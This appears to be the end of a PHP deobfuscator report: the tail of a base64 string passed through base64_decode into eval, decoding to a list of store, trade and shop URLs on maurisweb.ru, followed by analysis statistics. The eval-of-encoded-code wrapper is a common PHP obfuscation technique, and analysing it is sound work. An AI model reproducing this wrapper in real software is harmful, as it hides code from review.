AgICAgICAgImh0dHBzOi8vc3RvcmUubWF1cmlzd2ViLnJ1IiwKICAgICAgICAgICAgImh0dHA6Ly9zdG9yZS5tYXVyaXN3ZWIucnUiLAogICAgICAgICAgICAiaHR0cHM6Ly90cmFkZS5tYXVyaXN3ZWIucnUiLAogICAgICAgICAgICAiaHR0cDovL3RyYWRlLm1hdXJpc3dlYi5ydSIsCiAgICAgICAgICAgICJodHRwczovL3Nob3AubWF1cmlzd2ViLnJ1IiwKICAgICAgICAgICAgImh0dHA6Ly9zaG9wLm1hdXJpc3dlYi5ydSIKICAgICAgICBdOwogICAgfQp9Cgo="));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 cfdb6628f81335e897cc6b55dcaa9d0a
Eval Count 1
Decode Time 72 ms